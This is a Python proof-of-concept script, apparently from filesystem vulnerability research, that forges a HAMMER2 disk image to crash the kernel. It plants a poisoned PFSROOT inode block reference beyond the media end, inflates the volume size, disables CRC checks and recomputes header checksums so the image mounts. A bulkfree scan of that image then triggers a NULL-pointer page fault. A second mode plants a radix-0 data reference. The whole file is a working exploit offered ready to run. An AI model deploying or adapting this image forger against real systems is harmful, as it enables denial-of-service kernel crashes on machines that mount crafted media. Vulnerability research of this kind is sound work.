DF-2649 / forge_2649.py
#!/usr/bin/env python3 """ DF-2649 forger: plant a PFSROOT-flagged INODE bref whose data_off points BEYOND the media end into a free blockset slot of the mounted PFS's root inode block. Mount never iterates the mounted PFS root inode's blockset (update_pmps only walks sroot-level PFS inodes), so the mount succeeds. The bulkfree topology scan walks everything: chain_scan returns the poison INODE bref as a recursable chain (NODATA, no I/O yet), hammer2_bulkfree_scan() re-locks it with RESOLVE_ALWAYS, hammer2_chain_load_data() breads the 64K window past the device end -> EIO, chain->data stays NULL, chain->error = EIO (not CHECK!) -> the PFSROOT kprintf at hammer2_bulkfree.c:143-147 dereferences parent->data->ipdata.filename == NULL+0x100 -> fatal page fault. mode 'eio' : DF-2649 (INODE, PFSROOT, data_off beyond EOF) mode 'rad0' : DF-2650 (DATA, radix-0 data_off inside the media) """ import struct, sys, os sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from h2common import * MEDIA_END = 96 * 1024 * 1024 # poison base: inside forged volu_size # (128M) but past the real 64M device: # get_volume() succeeds, dscheck fails # the bread -> EIO (not a CHECK error) def put_bref(img, off, type_, methods, key, keybits, data_off, flags): struct.pack_into('<6B', img, off, type_, methods, 0, keybits, 0, flags) struct.pack_into('<QQQQQ', img, off + 8, key, # key 0, # mirror_tid 0, # modify_tid data_off, # data_off 0) # update_tid def main(): base, out, mode = sys.argv[1:3][0], sys.argv[2], sys.argv[3] img = bytearray(open(base, 'rb').read()) vols, sbr = find_sroot(img) pbr = find_pfs_bref(img, sbr, b'testvol') iblk = pbr['data_off'] & ~RADIX_MASK # free slot inside the mounted PFS root inode blockset (within SET_COUNT=4) slot = None for i in range(4): br = bref_parse(img, iblk + 0x200 + i * BREF) if br['type'] == T_EMPTY and br['data_off'] == 0: slot = iblk + 0x200 + i * BREF break assert slot is not None, "no free blockset slot" print("[*] using iblk blockset slot @ %#x (inode blk %#x)" % (slot, iblk)) if mode == 'eio': # forge volu_size 64M -> 128M so the volume lookup at 96M succeeds # while the physical read still fails (single-volume mounts take # total_size = volu_size unclamped, vfsops.c:1232) for v in vols: old = struct.unpack_from('<Q', img, v + 0x28)[0] struct.pack_into('<Q', img, v + 0x28, 128 * 1024 * 1024) print("[+] volhdr %#x volu_size %#x -> %#x" % (v, old, 128*1024*1024)) # INODE + FLAG_PFSROOT + data_off past the real media, radix 10 put_bref(img, slot, T_INODE, 0x00, 0xE000000000000002, 64, MEDIA_END | 10, PFSROOT) print("[+] poison: INODE flags=PFSROOT data_off=%#x (past real media)" % (MEDIA_END | 10)) else: # DATA bref whose data_off radix field is 0, base = real allocated blk put_bref(img, slot, T_DATA, 0x00, 0xE000000000000003, 64, iblk & ~RADIX_MASK, 0) print("[+] poison: DATA data_off=%#x (radix==0)" % (iblk & ~RADIX_MASK)) # ancestors: testvol bref (inside sroot block) + sroot bref (volhdr) struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00) # CHECK_NONE for v in vols: struct.pack_into('<B', img, v + 0x201, 0x00) # sroot CHECK_NONE recompute_volhdr_crcs(img) open(out, 'wb').write(img) print("[+] wrote %s" % out) if __name__ == '__main__': main() |